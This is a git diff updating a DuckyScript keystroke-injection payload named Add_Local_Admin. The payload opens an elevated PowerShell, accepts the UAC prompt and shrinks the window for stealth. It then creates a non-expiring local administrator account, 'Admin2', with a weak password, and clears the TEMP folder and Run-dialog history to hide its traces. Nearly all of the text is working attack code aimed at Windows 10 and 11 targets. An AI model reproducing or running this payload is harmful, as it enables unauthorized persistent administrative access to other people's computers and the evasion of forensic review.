Update payload.txt
parent
cd3704042c
commit
bf5044f3c7
|
@ -1,72 +1,89 @@
|
||||||
REM Title: Add_Local_Admin
|
EM Title: Add_Local_Admin
|
||||||
REM Author: LulzAnarchyAnon
|
REM Author: LulzAnarchyAnon
|
||||||
REM Description: PowerShell is opened, and a script
|
REM Description: Administrator PowerShell is opened, and resized for a more stealthy payload delivery, then the payload
|
||||||
REM runs that adds a Local Admin User.
|
REM creates a local admin account on the target system, afterwards powershell exits, and all history is cleared.
|
||||||
REM Target: Windows 10 PowerShell
|
REM Target: Windows 10 and 11
|
||||||
REM Props: Darren Kitchen, and I am Jakoby
|
REM Props: Darren Kitchen, and I am Jakoby
|
||||||
REM Version: 1.0
|
REM Version: 2.0
|
||||||
REM Category: Execution
|
REM Category: Execution
|
||||||
|
|
||||||
DELAY 2000
|
|
||||||
GUI x
|
|
||||||
DELAY 1000
|
|
||||||
a
|
|
||||||
DELAY 1000
|
DELAY 1000
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
STRING powershell -Command "Start-Process PowerShell -Verb RunAs"
|
||||||
|
DELAY 500
|
||||||
|
ENTER
|
||||||
|
DELAY 500
|
||||||
ALT y
|
ALT y
|
||||||
DELAY 1000
|
DELAY 1000
|
||||||
ALT TAB
|
STRING PowerShell.exe -noe -c ". mode.com con: lines=5 cols=12"
|
||||||
DELAY 3000
|
DELAY 1000
|
||||||
|
ENTER
|
||||||
|
DELAY 1000
|
||||||
STRING $Username = "Admin2"
|
STRING $Username = "Admin2"
|
||||||
DELAY 5000
|
DELAY 1000
|
||||||
ENTER
|
ENTER
|
||||||
STRING $Password = "password"
|
STRING $Password = "password"
|
||||||
DELAY 5000
|
DELAY 1000
|
||||||
ENTER
|
ENTER
|
||||||
STRING $group = "Administrators"
|
STRING $group = "Administrators"
|
||||||
DELAY 5000
|
DELAY 1000
|
||||||
ENTER
|
ENTER
|
||||||
STRING $adsi = [ADSI]"WinNT://$env:COMPUTERNAME"
|
STRING $adsi = [ADSI]"WinNT://$env:COMPUTERNAME"
|
||||||
DELAY 5000
|
DELAY 1000
|
||||||
|
ENTER
|
||||||
|
STRING $existing = $adsi.Children | where {$_.SchemaClassName -eq 'user' -and $_.Name -eq $Username }
|
||||||
|
DELAY 1000
|
||||||
ENTER
|
ENTER
|
||||||
STRING if ($existing -eq $null) {
|
STRING if ($existing -eq $null) {
|
||||||
DELAY 5000
|
DELAY 1000
|
||||||
ENTER
|
ENTER
|
||||||
STRING Write-Host "Creating new local user $Username."
|
STRING Write-Host "Creating new local user $Username."
|
||||||
DELAY 5000
|
DELAY 1000
|
||||||
ENTER
|
ENTER
|
||||||
STRING & NET USER $Username $Password /add /y /expires:never
|
STRING & NET USER $Username $Password /add /y /expires:never
|
||||||
DELAY 5000
|
DELAY 1000
|
||||||
ENTER
|
ENTER
|
||||||
STRING Write-Host "Adding local user $Username to $group."
|
STRING Write-Host "Adding local user $Username to $group."
|
||||||
DELAY 5000
|
DELAY 1000
|
||||||
ENTER
|
ENTER
|
||||||
STRING & NET LOCALGROUP $group $Username /add
|
STRING & NET LOCALGROUP $group $Username /add
|
||||||
DELAY 5000
|
DELAY 1000
|
||||||
ENTER
|
ENTER
|
||||||
STRING }
|
STRING }
|
||||||
DELAY 2000
|
DELAY 1000
|
||||||
ENTER
|
ENTER
|
||||||
STRING {
|
STRING {
|
||||||
DELAY 2000
|
DELAY 1000
|
||||||
ENTER
|
ENTER
|
||||||
STRING Write-Host "Setting password for existing local user $Username."
|
STRING Write-Host "Setting password for existing local user $Username."
|
||||||
DELAY 5000
|
DELAY 1000
|
||||||
ENTER
|
ENTER
|
||||||
STRING $existing.SetPassword($Password)
|
STRING $existing.SetPassword($Password)
|
||||||
DELAY 5000
|
DELAY 1000
|
||||||
ENTER
|
ENTER
|
||||||
STRING }
|
STRING }
|
||||||
DELAY 2000
|
DELAY 1000
|
||||||
ENTER
|
ENTER
|
||||||
STRING Write-Host "Ensuring password for $Username never expires."
|
STRING Write-Host "Ensuring password for $Username never expires."
|
||||||
DELAY 5000
|
DELAY 1000
|
||||||
ENTER
|
ENTER
|
||||||
STRING & WMIC USERACCOUNT WHERE "Name='$Username'" SET PasswordExpires=FALSE
|
STRING & WMIC USERACCOUNT WHERE "Name='$Username'" SET PasswordExpires=FALSE
|
||||||
DELAY 5000
|
DELAY 1000
|
||||||
ENTER
|
ENTER
|
||||||
DELAY 2000
|
DELAY 1000
|
||||||
|
STRING rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue
|
||||||
|
DELAY 500
|
||||||
|
ENTER
|
||||||
|
DELAY 500
|
||||||
|
STRING reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f
|
||||||
|
DELAY 500
|
||||||
|
ENTER
|
||||||
|
DELAY 200
|
||||||
STRING exit
|
STRING exit
|
||||||
DELAY 100
|
DELAY 200
|
||||||
|
ENTER
|
||||||
|
DELAY 200
|
||||||
|
STRING exit
|
||||||
|
DELAY 200
|
||||||
ENTER
|
ENTER
|
||||||
$adsi = [ADSI]"WinNT://$env:COMPUTERNAME"
|
|
||||||
|
|
Loading…
Reference in New Issue